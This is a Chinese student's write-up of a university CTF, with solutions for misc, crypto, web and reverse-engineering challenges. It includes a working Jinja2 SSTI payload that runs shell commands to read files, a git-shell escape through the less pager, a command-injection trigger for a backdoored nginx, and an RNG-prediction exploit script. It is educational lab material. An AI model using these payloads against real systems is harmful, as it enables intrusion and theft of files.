Skip to content

TrinityCTF 2025 Writeup

一个零 CTF 经验的大二老登参加了校内的面向新生的 CTF 比赛,

这是他的 Writeup 发生的变化:


🧩 MISC

Misc01-CTF_101

欢迎参赛TrinityCTF!

作为一名参赛选手你首先需要看看靶场, 看看公告, 确保了解比赛规则详情!

善用互联网和工具, 希望你能在这场比赛中学习, 练习; 或是切身感受下CTF赛事的氛围与挑战

如果你发现你不会的还挺多, 那就对了 我们每一名队员都是这么成长起来的, 赛后我们也会组织WP讲解, 欢迎来听 如果你发现你都会, 啊那太好了. 请在这场比赛尽情杀题然后大佬带飞我们战队把😆

最后祝各位解题顺利.

然后就要填 Flag 了,注意到在几天前发布的 TrinityCTF 2025 coming 赛事预告中有:

最后祝大家参赛愉快ZmxhZ3toNHBweV9oNGNrMW41IX0=取得好成绩

Base64 一下被划线的乱码得到 flag{h4ppy_h4ck1n5!}

Misc02-搜打撤

提供了一个 py 文件和摩斯电码本,py 文件运行后是一个文字冒险游戏,在游玩过程中可以获得flag碎片,实际上可以直接翻 py 文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
WORK_SECRET = os.getenv('WORK_SECRET', 'dzBySw==')                  # Base64: w0rK
COMBINE_SECRET = os.getenv('COMBINE_SECRET', 'YzBtYkluZSBhbDE=')    # Base64: c0mbIne al1
PASSWORD1 = os.getenv('PASSWORD1', 'TkpVZXI=')                      # Base64: NJUer
PASSWORD2 = os.getenv('PASSWORD2', 'UEtVZXI=')                      # Base64: PKUer
FLAG_SECRET = os.getenv('FLAG_SECRET', 'ZmxhZw==')                  # Base64: flag
# 省略一部分内容...
def exit_gate():
    """校门撤离点"""
    print("祝贺你得到了想要的东西。按照通顺的语言习惯组合即可。不要忘记在单词之间加入短下划线_哦~")
    return 1

把三个 secret 按照语序拼接得到 flag{c0mbIne_al1_w0rK} (一开始我一直尝试把 NJUer 塞进去😰)

Misc03-Watch the Star

提供了一个 coords.txt 记录了若干个点坐标,以及一个 star.png 绘制了部分点的位置和连线

coords.txt
1
2
3
4
5
6
7
8
9
6,43
7,43
8,43
9,43
10,43
11,43
12,43
13,43
# 省略更多的坐标点

用 matplotlib 库绘图,发现连线没有任何线索,但是点的排布很有意思(特别是↖↗↙三个角的暗示)

image-20251006103444602

把点替换成大小为1的方格,删去连线,得到:

image-20251006104300071

是个二维码,扫描得到 flag:bWlzY19maW5pc2g=, Base64 一下得到 flag{misc_finish}

Misc04-猫猫(Unfinished)

图片里藏了一个 zip 文件用 binwalk 分离,压缩包里有 flag.txt 但是解压需要密码

对剩下的纯图片内容 zsteg 一下发现下面的内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
imagedata           .. text: ".55/4.,-)"
b1,g,lsb,xy         .. text: "-M$ED%LtLm\\\\uT"
b1,b,lsb,xy         .. text: "5m,5$5l4ee}----("
b2,r,lsb,xy         .. text: "D@@EDkDD"
b2,rgb,lsb,xy       .. text: "L0DDTAA@E"
b2,rgb,msb,xy       .. text: "\n{<g[6e{"
b3,g,msb,xy         .. file: OpenPGP Secret Key
b4,r,lsb,xy         .. text: "2222\"2R2#5TTDDTTUETFfvvvvgvvvv"
b4,r,msb,xy         .. text: "];;;;;;{"
b4,g,lsb,xy         .. text: "223#323323ETTEUUTggTvvggvgwgvy"
b4,b,lsb,xy         .. text: "wvfgwvvfwv"
b4,rgb,lsb,xy       .. text: "A62s&3p5"
b4,rgb,msb,xy       .. text: ",Fb$Nb$N"
b4,bgr,lsb,xy       .. text: "QB63r6 s"
b4,bgr,msb,xy       .. text: "J&dB.dB."

不会解,遂放弃

(后记:压缩包的密码原来可以爆破)

(赛后官方 Sol 好魔幻)

Misc05-填填问卷就能拿分谢谢喵

字面意思,这我还能说什么呢,太性情了哥们,flag 没保存所以不贴了

ps: 我拿的一血🤓


🔒 CRYPTO

Crypto01-RSA (Unfinished)

一个菜单环境,提供了离线的 Python 搭建:

task.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util.number import bytes_to_long
import os, signal
import utils

signal.alarm(600)                               # 600s 的限时,也就是 TLE 机制(?
assert utils.PoW()                              # 一个需要暴力算 sha256 的工作量证明
sec = os.urandom(16)

MENU = '''
[E]ncrypt
[G]etFlag
[Q]uit
'''
while True:
    print(MENU)
    inp = input(">").lower()
    try:
        if inp == "q":                          # q 键退出
            raise Exception

        elif inp == "e":                        # e 键会提供一个用相同的公钥指数 e=4027 和明文,用不同的模数加密的结果
            rsa = utils.RSA(nbits=1024)
            c = rsa.encrypt(bytes_to_long(sec))
            print(f"{rsa.pub = }\n{c = }")

        elif inp == "g":                        # g 键用解出的明文换取 flag
            assert sec == bytes.fromhex(input("sec>").strip())
            utils.solve()
            raise Exception

    except:
        break

赛时考虑使用 Håstad广播攻击,需要收集 4097 组数据但是被 600s 时限卡住了(600s 只能收集 1k 组不到的数据,而 1k 组数据破解的概率太低了),遂 giveup

Crypto02-PQCCrypto03-ECC 都没碰,不会离散数学

Crypto04-PRNG

四道 Crypto 的环境搭建都是相似的:

task.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import signal
import utils

signal.alarm(600)
assert utils.PoW()

casino = utils.CASINO()                                         # 构建了一个 casino 猜数游戏
                                                                # 初始有一定的分数
MENU = '''
[R]efresh
[H]it
[S]tand
[Q]uit
'''
while True:
    print(MENU)
    inp = input(">").lower()
    try:
        if inp == "q":                                          # q 键退出游戏
            raise Exception

        elif inp == "r":                                        # r 键重置游戏
            casino.refresh()

        elif inp == "h":                                        # h 键进行猜数,要猜的数是随机数
            card = casino.card()
            if (card & 0xFFFF) == int(input("check>")):
                casino.score += 1                               # 猜对了加一分
                print("Positive")
            else:
                casino.score -= 2                               # 猜错了扣两分
                print("Negative")
                print(f"{card = }")                             # 并且会告知正确的数是什么

        elif inp == "s":                                        # 在得分 ≥ 9999 时按下 s 键获得 Flag
            assert casino.score >= 9999
            utils.solve()
            raise Exception

        assert casino.score > 0                                 # 分数归零时退出游戏
    except:
        break

目前掌握的信息不够,所以我们需要在另一个下发的文件中获取更多信息:

utils.py(节选)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
class CASINO:
    def __init__(self):                                         # 初始化
        self.key = os.urandom(16)                               # 生成一个密钥 key
        self.rng = random.Random()                              # 创建一个随机数生成器
        self.refresh()                                          # 进行一次刷新操作

    def refresh(self):                                          # 刷新操作
        seed = int(pow(time.time(), 0.93))                      # 基于当前时间的种子 seed(一个伏笔)
        self.rng.seed(bytes_to_long(self.key) + seed)           # 随机数生成器基于 key + seed 生成新的生成器种子
        self.score = 0x4c4                                      # 初始分数为 610 * 2 分

    def card(self):                                             # 发牌操作
        return self.rng.getrandbits(32)                         # 利用随机数生成器生成一个 32 位随机数

random.Random() 说明程序使用了 Python 自带了的随机数计算:伪随机数生成器 mt19937。

这个随机数算法对于相同的种子总会给出相同的输出结果,且算法上可以逆向实现随机数预测,前提是先要获取连续的 624 个 32 位的已生成的随机数(这么多的数据足够找到循环点),这里考虑使用 randcrack

然而,初始分数 610 * 2 ,但是 624 次错误的猜数会扣除 624 * 2 的分数,所以我没有办法连续猜错 624 次,必须要猜对若干次

在观察了四道 Crypto 题目的框架后,我发现只有第四题提供了重置操作 r。为什么要提供一个 r 键重置?虽然 r 键可以重置得分,但是也会重置 self.rng.seed,也就是随机数生成器的种子,看上去 r 操作没有作用

除非 r 操作并不是一定会重置随机数生成器的种子?

仔细看一下随机数生成器的种子是如何被计算的:

1
2
seed = int(pow(time.time(), 0.93))              # (int)(时间戳 ^ 0.93)
self.rng.seed(bytes_to_long(self.key) + seed)   # key + seed,其中 key 不会随着 r 操作改变,改变 seed

对于 (int)(时间戳 ^ 0.93) 这一步,我们不难发现,当两个时间戳非常接近时,计算得到的种子是完全相同的

比如我现在查询时间戳得到的数值是 1759734250,不难计算

(int)1759734250^0.93 == (int)1759734252^0.93 == 396520633,得到了 3s 的窗口期

如果刷新的时间恰当,最大可以争取约 5s 的窗口期,这段时间内的 r 刷新操作不会改变 seed

于是我们得到了一个自动化方案:

  1. 解决 PoW 问题(写一段暴力计算的程序即可)
  2. 先答错获取前十个随机数,保存(这里的十次实际上可以更少一些,这取决于网速)
  3. r 刷新一次
  4. 用之前获取的前十个随机数去回答前十次猜数问题(不会扣分,而且会加分)
  5. 继续猜错直到获取了 624 个随机数(可以保证分数不会减到 0 以下)
  6. 现在 mt19937 的随机数可以完全预测了,持续猜对数字直到分数超过 9999
  7. s 获取 Flag!

用 AI 辅助写了一段自动化的 Python 程序(我不会 Python

exp.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
import hashlib
import string
import itertools
from pwn import *
from randcrack import RandCrack

def solve_pow(prefix, target_hash, length=4):
    # 爆破 XXXX
    for comb in itertools.product(string.ascii_letters + string.digits, repeat=length):
        attempt = ''.join(comb)
        h = hashlib.sha256((attempt + prefix).encode()).hexdigest()
        if h == target_hash:
            return attempt
    return None

def main():
    # 连接信息:
    # xxx.xxx.xxx.xx:xxxxx
    host = '123.456.789.01'
    port = 12345

    # 第一步:接收 PoW 题目
    r = remote(host, port)
    line = r.recvuntil(b'= ').decode()
    target_hash = r.recvline().strip().decode()
    prefix = line.split('+')[1].split(')')[0]  # 提取 iMwfwaWvfBil7B9S 这样的后缀
    print(f"PoW: sha256(XXXX+{prefix}) = {target_hash}")

    # 爆破 PoW
    pow_sol = solve_pow(prefix, target_hash)
    if pow_sol is None:
        print("PoW failed")
        return
    print(f"PoW solution: {pow_sol}")
    r.sendlineafter(b'>', pow_sol.encode())

    # 进入主循环
    rc = RandCrack()

    # 第一阶段:收集前10个随机数
    first_10_cards = []
    for i in range(10):
        r.sendlineafter(b'>', b'H')
        # 猜错(输入 0 )
        r.sendlineafter(b'check>', b'0')
        resp = r.recvline()
        if b'Negative' in resp:
            line = r.recvline()
            # 解析 card = 12345678
            card_val = int(line.decode().split('=')[1].strip())
            print(f"[{i+1}] card = {card_val}")
            first_10_cards.append(card_val)
        else:
            # 前十次都有猜对的,你应该去买彩票,你不准做题了
            return

    # r 重置
    r.sendlineafter(b'>', b'R')

    # 第二阶段:重新收集624个随机数,前10次用已知的正确值猜测
    score = 610 * 2  # 初始分数

    # 前10次使用已知的正确值
    for i in range(10):
        r.sendlineafter(b'>', b'H')
        # 使用之前收集到的正确低16位
        correct_low16 = first_10_cards[i] & 0xFFFF
        r.sendlineafter(b'check>', str(correct_low16).encode())
        resp = r.recvline()
        if b'Positive' in resp:
            score += 1
            print(f"[{i+1}] Correct guess! Score: {score}")
            # 提交给 RandCrack(32 位)
            rc.submit(first_10_cards[i] & 0xFFFFFFFF)
        else:
            # 网速较差/时间窗口没卡好
            score -= 2
            print(f"[{i+1}] Unexpected Negative!")
            return

    # 继续收集剩余的614个随机数
    for i in range(10, 624):
        r.sendlineafter(b'>', b'H')
        # 猜错(输入 0)
        r.sendlineafter(b'check>', b'0')
        resp = r.recvline()
        if b'Negative' in resp:
            score -= 2
            line = r.recvline()
            # 解析 card = xxxxxxxx
            card_val = int(line.decode().split('=')[1].strip())
            print(f"[{i+1}] card = {card_val}")
            # 提交给 RandCrack(32 位)
            rc.submit(card_val & 0xFFFFFFFF)
        else:
            # 你知道我要说什么
            return

    # 第三阶段:全部猜对直到分数足够
    while score < 9999:
        # 预测下一个随机数
        predicted = rc.predict_getrandbits(32)
        low16 = predicted & 0xFFFF

        r.sendlineafter(b'>', b'H')
        r.sendlineafter(b'check>', str(low16).encode())
        resp = r.recvline()
        if b'Positive' in resp:
            score += 1
            print(f"Score: {score}")
        else:
            score -= 2
            print(f"Wrong prediction! Score: {score}")
            # 应该不会出错
            if score <= 0:
                print("Score <= 0, failed")
                return

    # 分数达到 9999,Stand
    r.sendlineafter(b'>', b'S')
    Flag = r.recvline()
    print(Flag)
    r.close()

if __name__ == '__main__':
    main()

跑一遍程序即可拿到 Flag: flag{303191d0-227d-440d-8cf6-7a45f378757e}

(个人建议把 600s 时限放宽一点,我一开始连接的校内 VPN 在得到两千多分的时候就超时退出了😡)

Crypto05-EZRSA

提供了一个 Python 文件,翻代码发现 flag = b"flag{GUESS_ME_DUDE???}",结束本题

末尾注释提供了一些 RSA 相关的数据:

1
2
3
n = 1761136274297027039963230651989531722606611852591964400481006338727378865369012452786479495394114231817718239
e = 65537
c = 1230891216923086590416832066481981391436300928059089913296665775664238914246508186217218568669712406212992089

我们需要拆解 n 这个大数(n = p * q),而不幸的是 factordb 拆不开这个数,注意到提供的代码中有这样的生成操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
p_bits = 180                                        # p 是 180 位的数字
close_offset_max = 1 << 20

low = 1 << (p_bits - 1)
high = (1 << p_bits) - 1

a = random.randrange(low, high)                     
p = next_prime(a)                                   # 生成 180 位的随机素数 p
offset = random.randint(1000, close_offset_max)     # 生成一个偏移量,在 1000 ~ 2^20 之间
q = next_prime(p + offset)                          # p 加上偏移量后调整生成素数 q
if p == q:
    continue

n = p * q

也就是说 p,q 的位数大致固定,且 q - p 差值比较小,考虑使用 Fermat 质数分解算法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def fermat_factorization(n):
    a = gmpy2.isqrt(n)
    while True:
        b2 = a * a - n
        if gmpy2.is_square(b2):
            b = gmpy2.isqrt(b2)
            p = a - b
            q = a + b
            return int(p), int(q)
        a += 1

带入到具体数据跑一遍程序就可以拿到 Flag:flag{RSA_is_weak_when_p_approx_q},Flag 说得对


💥 PWN

PWN 题我都不会写,对不起出题者😭

(Update: 网络攻防实战课程学到了 PWN,应该不至于一点不会了)


🕸️ WEB

Web01-逃离

在一次渗透测试中,你通过一个文件读取漏洞得到了用户名 git 的 SSH 私钥 使用给定的 SSH 私钥和用户名 git 登录指定的地址,从 Gitshell 里逃离

flag 在 /home/git 下

目标是从高度受限的 Gitshell 环境中想办法来到普通 Shell 环境中,读取 /home/git 的内容

先用 SSH 试探一下(id_rsa 是下发的私钥文件):

1
2
3
> ssh -i id_rsa git@xxx.xxx.xxx.xx -p 12345
fatal: unrecognized command ''
Connection to xxx.xxx.xxx.xx closed.

坏透了,这个 Git 服务器不允许交互式输入指令,我只能在 SSH 请求时附带我的指令:

1
2
> ssh -i id_rsa git@xxx.xxx.xxx.xx -p 12345 "help"
fatal: unrecognized command 'help'

help 都不能用?经过测试和查询,只有 git receive-pack git upload-pack git upload-archive 可以使用,那就找个仓库上传些什么东西做个手脚:

1
2
> ssh -i id_rsa git@xxx.xxx.xxx.xx -p 12345 "git upload-pack '/home/git'"
fatal: '/home/git' does not appear to be a git repository

又经过测试,这个环境里面没有 git 仓库(至少我没找到),我决定 --help 一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
> ssh -i id_rsa git@xxx.xxx.xxx.xx -p 12345 "git upload-pack '--help'"
GIT-UPLOAD-PACK(1)                Git Manual                GIT-UPLOAD-PACK(1)

NAME
       git-upload-pack - Send objects packed back to git-fetch-pack

SYNOPSIS
       git-upload-pack [--[no-]strict] [--timeout=<n>] [--stateless-rpc]
                         [--advertise-refs] <directory>
       DESCRIPTION

       # ... 太多了不贴了

SEE ALSO
       gitnamespaces(7)

GIT
       Part of the git(1) suite

Git 2.12.2                        12/25/2020                GIT-UPLOAD-PACK(1)
> # 直接退出 SSH 连接了

这是我目前成功运行的唯一一条指令,输出页面让我想到了 man 指令,印象里帮助页面应该用 less 分页器打开,而 less 分页器 有 !sh 的操作可以打开子 shell 实现逃逸。查询得知需要在 SSH 连接时加上 -t 参数强制分配伪终端:

1
2
3
4
> ssh -t -i id_rsa git@xxx.xxx.xxx.xx -p 12345 "git upload-pack '--help'"
# 用 less 打开了帮助文档,输入 !sh 进入子 shell
$ cat /home/git/flag.txt
Trinity{GIT_5HE11_byp@ss_OOOOO_060524592cce19c7}$

获得了 Flag Trinity{GIT_5HE11_byp@ss_OOOOO_060524592cce19c7}

Web02-逻辑鬼才 没有进展,不懂 HTTPDigestAuth :(

Web03-Hello Flask!

我学会的第一行代码就是cout<<"Hello Flask!"<<endl;

flag 在 /etc/flag.txt

访问:http://ip:port/?name=123

先按照他说的访问一下 http://ip:port/?name=123,HTML 页面只有一句 Hello 123

STFW 了解到 Flask 是 Python 的 Web 框架,使用 Jinja 模板引擎,又不小心搜到了 SSTI注入 - Hello CTF 了解了一下

一般我们会在疑似的地方尝试插入简单的模板表达式,如 {{7*7}} {{config}},看看是否能在页面上显示预期结果,以此确定是否有注入点。

插入一下试试: http://ip:port/?name={{7*7}},HTML 页面输出 Hello 49,看来有注入点

经过和 AI 的反复修改后得到了下面的模板:

1
2
{{cycler.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/flag.txt').read()}}
# 从 cycler 对象开始(Jinja2模板的默认对象),通过 __init__ 获取初始化方法, __globals__ 获取全局命名空间, __builtins__ 获取内置函数, __import__('os') 导入os模块,最终调用 popen() 执行系统命令,read() 进行读取,输出在 HTML 页面上

得到 Flag Trinity{ssti_is_Funnnnnny!422144319e480db2}


🔍 RE

RE01-带后门的nginx

描述: xx大学近日遭受一起 APT 攻击:黑客组织通过购买搜索引擎推广,将其精心伪造的 nginx 官网置于搜索结果首位。某运维人员因而下载了该网站上被植入后门的 nginx。服务上线后,黑客组织通过该后门长期隐蔽地从内网盗取信息。你的任务是通过逆向工程找到该后门的访问方式,并复现该后门来读取服务后台的 flag。

该后门为命令执行后门,并被符合要求的 HTTP 请求触发。找到触发方式后,你可以构造任意命令。

读取 flag 可以使用反弹 shell,也可以把 flag 文件拷贝到网站根目录。其中 flag 位于 /flag,nginx 网站位于 /nginx/html。

下发了一个 nginx 文件,使用 DIE 检测为 ELF64 ,使用 Ghidra 进行逆向,分析逆向内容。

因为我不熟悉 nginx 反编译后的内容,偶然搜索了一下含 "flag" 的字符串

image-20251006183255254

找到了这个有趣的内容:

1
2
3
4
5
6
                             s_This_is_a_fake_flag!_001b8f5c                 XREF[3]:     ngx_http_static_handler:0018a078
                                                                                         ngx_http_static_handler:0018a087
                                                                                          001dd540 (*)   
        001b8f5c 54  68  69       ds         "This_is_a_fake_flag!"
                 73  5f  69 
                 73  5f  61 

我相信假 flag 不可能一点用都没有,于是定位到调用了这部分字符串的函数 ngx_http_static_handler,下面截取了有用的内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__s = g_flag;   // g_flag 的内容就是 "This_is_a_fake_flag!"

// 将 password 硬编码为神秘值,然后与 g_flag 进行异或运算(解密)得到新的 password
builtin_memcpy(password,"#1\x03\x17.\x10\n\x135/\x16$\r6<\x0e ,\x13F",0x14);
for (uVar16 = 0; sVar4 = strlen(__s), uVar16 < sVar4; uVar16 = uVar16 + 1) {
  password[uVar16] = password[uVar16] ^ __s[uVar16];
}
nVar5 = ngx_http_arg(r,password,uVar16,&arg_value);             // 从HTTP请求中获取 password 这个参数
                                                                // 返回 0 表示找到了这个参数
if ((nVar5 == 0) && (arg_value.len - 1 < 0x3ff)) {
    _Var2 = fork();
    if (_Var2 == 0) {
        // 子进程执行
        iVar3 = getrlimit64(RLIMIT_NOFILE,(rlimit64 *)&rlim);
        // 关闭所有文件描述符
        for (; __fd < iVar18; __fd = __fd + 1) {
            close(__fd);
        }
        // 执行系统命令,也就是说我可以构造 http://ip:port/?password=cp /flag /nginx/html/flag.txt
        // 把 flag 文件拷贝到网站根目录
        execl("/bin/sh","sh",&DAT_001b8f1b,local_528,0);
        exit(0x7f);
    }
}

"#1\x03\x17.\x10\n\x135/\x16$\r6<\x0e ,\x13F""This_is_a_fake_flag!" 进行异或解密得到 password = wYjdqyyLTppEfSchLMtg

http://ip:port/?wYjdqyyLTppEfSchLMtg=cp /flag /nginx/html/flag.txt 把 flag 文件拷贝到网站根目录,然后 http://ip:port/flag.txt 就能获得 Flag: flag{17a7f10e-f07c-4e3f-a080-8b91d94245b4}

RE02-ITSC正版Office激活工具

描述: 这是xx大学 ITSC 的会员制 Office 激活工具,必须每个月上交 114514 块钱网费才能获得激活码。你的任务是通过逆向工程破解该工具,找到激活码的生成方式,并生成用户 itsc 的激活码。

获得激活码后,在外面包裹 flag{} 提交,如激活码是 0123456789abcdef,则提交 flag{0123456789abcdef}

我已经等不及了,快点端上来罢

下发了一个 OfficeActivationTool.exe 和一堆 Qt6 的依赖,不需要用 DIE 分析了

打开 exe 文件弹出一个激活窗口:

image-20251006182642580

注意到按下按钮之后弹出 “激活失败” 的回答,考虑计算激活码的函数出现在 “按下按钮” ,用 Ghidra 进行逆向,关键词 click 搜索

image-20251006182902827

on_activationButton_clicked 函数进行分析,节选了部分内容:

(Qt对应的反汇编内容易读性相比上一题更好一些)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// 激活码必须是32位十六进制字符
local_128.m_data = "^[0-9a-fA-F]*$";
local_128.m_size = 0xe;
QString::fromUtf8(&local_68);
QRegularExpression::QRegularExpression(&hexCodePattern,&local_68,0);

// 账户名必须只能包含字母/数字/下划线且不以数字开头
local_128.m_size = 0x18;
local_128.m_data = "^[_a-zA-Z][_0-9a-zA-Z]*$";
QString::fromUtf8(&local_68);
QRegularExpression::QRegularExpression(&accountPattern,&local_68,0);

// 检查激活码格式
if (((cVar3 != '\0') && (codeText.d.size == 0x20)) && (accountText.d.size != 0)) {
    // 为账户名添加了固定的后缀
    local_130 = 0xb;
    local_138 = "@nju.edu.cn";
    QString::append(&accountText,&local_138);                   // append
    // 激活码十六进制转字节数组
    QString::toUtf8_helper(&local_88);                          // to utf8
    QByteArray::fromHex((QByteArray *)&local_68);               // from hex
    // 对添加后缀之后的账户名进行哈希计算,Qt的哈希加密默认为 md5
    QString::toUtf8_helper(&local_88);
    local_128.m_size = local_88.d.size;
    local_128.m_data = (storage_type *)local_88.d.ptr;
    QCryptographicHash::hash(&local_68,(Algorithm)&local_128);  // hash
    // 比较哈希结果与激活码
    local_128.m_data = local_68.m_data;
    local_128.m_size = local_58;
    local_148.m_size = qVar2;
    local_148.m_data = psVar1;
    iVar4 = QtPrivate::compareMemory(&local_128,&local_148);    // compareMemory
    if (iVar4 == 0) {
        pQVar5 = *(QString **)(this->ui + 0x58);
        QString::QString((QString *)&local_68,(QChar *)&DAT_140006196,4); // "成功"
        QLabel::setText(pQVar5);
        this->activated = true;
    } else {
        pQVar5 = *(QString **)(this->ui + 0x58);
        QString::QString((QString *)&local_68,(QChar *)&DAT_1400061a0,4); // "失败"
        QLabel::setText(pQVar5);
        this->activated = false;
    }
}

写一个 Python 函数计算一下:

exp.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import hashlib

def md5_calc(account):
    account += "@nju.edu.cn"

    # 计算md5
    md5_hash = hashlib.md5(account.encode('utf-8')).digest()

    # 转换为十六进制字符串
    code = md5_hash.hex().upper()

    return code

account = "itsc"
code = md5_calc(account)
print(f"code: {code}")

拿到激活码 15F00E032036724774CF4A2D2CA7C63C

image-20251006185600169

Flag 就是 flag{15F00E032036724774CF4A2D2CA7C63C}

RE03-幸运数字

非常规解法注意,和本题的正解几乎没有关系

I'm so sorry...

下发了一个 exe 文件,尝试进行交互,猜测这个幸运数字是个随机数,猜不中的:

image-20251006190418890

注意到提示:

你可能需要了解一下 [TLS(线程本地存储)] 和 [IsDebuggerPresent]

似乎是对动态调试操作有所反制,所以依旧尝试 Ghidra 静态分析。先搜索一下字符串:

image-20251006193631292

发现有填写正确的庆祝语字符串,定位函数 FUN00401450

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
void __fastcall FUN_00401450(undefined4 param_1,int *param_2)

{
  HANDLE hHandle;
  uint uVar1;
  int iVar2;
  int iVar3;
  HANDLE unaff_EDI;
  uint uStack_54;
  int iStack_4c;
  DWORD DStack_48;
  uint auStack_40 [15];

  auStack_40[0xe] = DAT_00404000 ^ (uint)&stack0xfffffffc;
  FUN_004013b0();
                    /* WARNING: Bad instruction - Truncating control flow here */
  Sleep(1000);
  auStack_40[0] = 0xba637da0;
  auStack_40[1] = 0x8c445f89;
  auStack_40[2] = 0x112970aa;
  auStack_40[3] = 0xe2ca658f;
  auStack_40[4] = 0xbc46a994;
  auStack_40[5] = 0x7289dd5c;
  auStack_40[6] = 0x21bd739f;
  auStack_40[7] = 0x71233bc;
  auStack_40[8] = 0x67cd6608;
  auStack_40[9] = 0xf80e72bb;
  auStack_40[10] = 0xfa7003e0;
  auStack_40[0xb] = 0xfdc39c15;
  auStack_40[0xc] = 0x6e7aeeb0;
  auStack_40[0xd] = 0x34;
  FUN_00401020("welcome to TrinityCTF\n");
  hHandle = (HANDLE)FUN_004013b0();
  Sleep(1000);
  uVar1 = func_0x00401080();
  srand(uVar1);
  iVar2 = rand();
  FUN_00401020("input your lucky number:\n");
  iVar3 = FUN_00401050(&UNK_00403174);
  if (iVar3 != 1) {
    FUN_00401020("invalid input\n");
    WaitForSingleObject(hHandle,0xffffffff);
    CloseHandle(unaff_EDI);
    TlsFree(DStack_48);
    func_0x004016c3();
    return;
  }
  if (iStack_4c == iVar2) {
    FUN_00401020("Congratulations, you guessed right!\n");
    FUN_004013b0();
                    /* WARNING: Bad instruction - Truncating control flow here */
    Sleep(1000);
    FUN_00401090(auStack_40,(int *)0xd,0x404060,0);
    uVar1 = auStack_40[0xd];
    FUN_00401020(&UNK_004031b0);
    for (uStack_54 = 0; uStack_54 < uVar1; uStack_54 = uStack_54 + 1) {
      putchar((uint)*(byte *)((int)auStack_40 + uStack_54));
    }
    FUN_00401020(&UNK_004031b8);
    FUN_00401020("Is that really right?");
  }
  else {
    FUN_00401020("number error\n");
  }
  return;
}

先不管我如何输入正确的数字才能得到 Flag,我们重点关注这一段:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
if (iStack_4c == iVar2) {
    FUN_00401020("Congratulations, you guessed right!\n");
    FUN_004013b0(aDStack_48,aDStack_48 + 1);
    Sleep(1000);
    FUN_00401090(0x404060,0);
    uVar1 = uStack_c;
    FUN_00401020(&UNK_004031b0);
    for (uStack_54 = 0; uStack_54 < uVar1; uStack_54 = uStack_54 + 1) {
      putchar((uint)abStack_40[uStack_54]);
    }
    FUN_00401020(&UNK_004031b8);
    FUN_00401020("Is that really right?");
  }

你是说,判定为猜数正确,输出 Flag 只有一个 if (iStack_4c == iVar2) 的验证吗?

尝试找到对应的汇编代码:

image-20251006195326213

image-20251006195537011

我们进行修改:

image-20251006195848691

image-20251006200019809

JNE 0x00401670 修改为 JMP 0x004015b1,导出修改后的 exe 文件打开

image-20251006200307563

image-20251006200446865

于是得到了 Flag: flag{c0ngr4tul4t1ons_th1s_1s_3z_lucknumb3r_4nd_xte4}

(其实我也关注了一下 Flag 是怎么解码得到的,似乎包含 TEA 加密过程,但是我一直没有进展,于是选择了改汇编码的方案)

(为了拿到 Flag 不择手段了 😈)


有点遗憾自己是第一天下午才决定参加比赛的,不然可以拿 RE 的三个一血